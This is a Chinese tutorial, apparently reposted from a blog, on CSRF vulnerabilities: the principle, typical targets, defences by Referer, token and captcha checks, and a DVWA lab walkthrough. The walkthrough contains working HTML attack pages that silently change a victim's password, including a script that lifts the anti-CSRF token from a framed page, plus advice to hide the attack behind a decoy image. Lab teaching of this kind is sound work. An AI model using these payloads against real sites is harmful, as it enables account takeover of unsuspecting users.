标签：请求 验证 用户 漏洞 token Referer 复现 CSRF
CSRF的高危触发点CSRF漏洞原理
CSRF（Cross Site Request Forgery, 跨站请求伪造）是一种网络的***方式，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF。
CSRF漏洞是因为web应用程序在用户进行敏感操作时，如修改账号密码、添加账号、转账等，没有校验表单token或者http请求头中的referer值，从而导致恶意***者利用普通用户的身份（cookie）完成***行为。
- 论坛交流
- 用户中心
- 反馈留言
- 交易管理
- 后台管理
- 伪造HTTP请求进行未授权操作
- 篡改、盗取目标网站上的重要用户数据
- 未经允许执行对用户名誉或者资产有害的操作，比如：散播不良信息、进行消费等
- 如果通过使用社工等方式***网站管理员，会危害网站本身的安全性
- 作为其他***向量的辅助***手法，比如配合XSS
- 传播CSRF蠕虫
- Referer验证
根据HTTP协议，在HTTP头中有一个字段叫Referer，它记录了该HTTP请求的来源地址。在通常情况下，访问一个安全受限页面的请求必须来自于同一个网站。比如某银行的转账是通过用户访问http://bank.test/test?page=10&userID=101&money=10000页面完成，用户必须先登录bank.test，然后通过点击页面上的按钮来触发转账事件。当用户提交请求时，该转账请求的Referer值就会是转账按钮所在页面的URL（本例中，通常是以bank. test域名开头的地址）。而如果***者要对银行网站实施CSRF***，他只能在自己的网站构造请求，当用户通过***者的网站发送请求到银行时，该请求的Referer是指向***者的网站。因此，要防御CSRF***，银行网站只需要对于每一个转账请求验证其Referer值，如果是以bank. test开头的域名，则说明该请求是来自银行网站自己的请求，是合法的。如果Referer是其他网站的话，就有可能是CSRF***，则拒绝该请求。 - Token验证
CSRF***之所以能够成功，是因为***者可以伪造用户的请求，该请求中所有的用户验证信息都存在于Cookie中，因此***者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。由此可知，抵御CSRF***的关键在于：在请求中放入***者所不能伪造的信息，并且该信息不存在于Cookie之中。鉴于此，系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token，并在服务器端建立一个拦截器来验证这个token，如果请求中没有token或者token内容不正确，则认为可能是CSRF***而拒绝该请求。 - 增加验证码验证
Spring security的表单验证是通过过滤器链中的 UsernamePasswordAuthenticationFilter 来完成的，我们增加的验证码过滤器应该插在 UsernamePasswordAuthenticationFilter 之前，如果验证码校验不通过，直接返回，无需进行账户密码的校验。
- PHPstudy
- google浏览器
- DVWA靶场
绕过Referer验证
1、正常登陆网页，级别改成medium，然后修改密码复制url
2、在www目录下创建一个localhost.html文件，内容如下：
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=Change#" alt="">
<img src="1.png">
</body>
</html>
注意： 标签中的网址是刚才复制的，将password_new=后的密码换掉1.png是随便导入的 图片，为了美观同时不会引起受害者的怀疑
3、用浏览器打开改文件，假如此刻是受害者点开了你的链接
然后退出再重新登陆，这时刚修改的密码就进去了，而变成了***换掉的密码
绕过Token验证
1、正常登陆网页，级别改成high，然后修改密码复制url
2、在www目录下创建一个1.html文件，内容如下：
注意： 将网址中password_new=后的密码换掉
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="1.png">
<iframe name="if1" src="http://localhost/DVWA-master/
vulnerabilities/csrf"></iframe>
<script>
window.onload = function(){
var user_token_input = window.frames["if1"].document.getElementsByName("user_token")[0];
alert(user_token_input.value)
document.body.innerHTML += '<img src="http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token='+
user_token_input.value+'#" alt="">'
}
</script>
</body>
</html>
3、用浏览器打开该文件，假如此刻是受害者点开了你的链接
然后退出再重新登陆，这时刚修改的密码就进去了，而变成了***换掉的密码
CSRF漏洞防御总结
CSRF***的核心是伪造请求，识别这种的***的重点就是判断当前操作是否伪造；通过在当前页面生成随机Token，后端业务逻辑在处理操作时，应该先校验Token的有效性，然后才能处理业务流程。尤其在核心业务中，采用Token+Referer的组合进行操作验证；采用验证码校验操作是因为***者无法预知验证码的值，进而无法构造有效的***；但毫无疑问，验证码会一定程度地影响用户体验，所以我们要在安全和用户体验之间找到一个平衡点。
标签：请求,验证,用户,漏洞,token,Referer,复现,CSRF 来源： https://blog.51cto.com/u_15274949/2922465
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。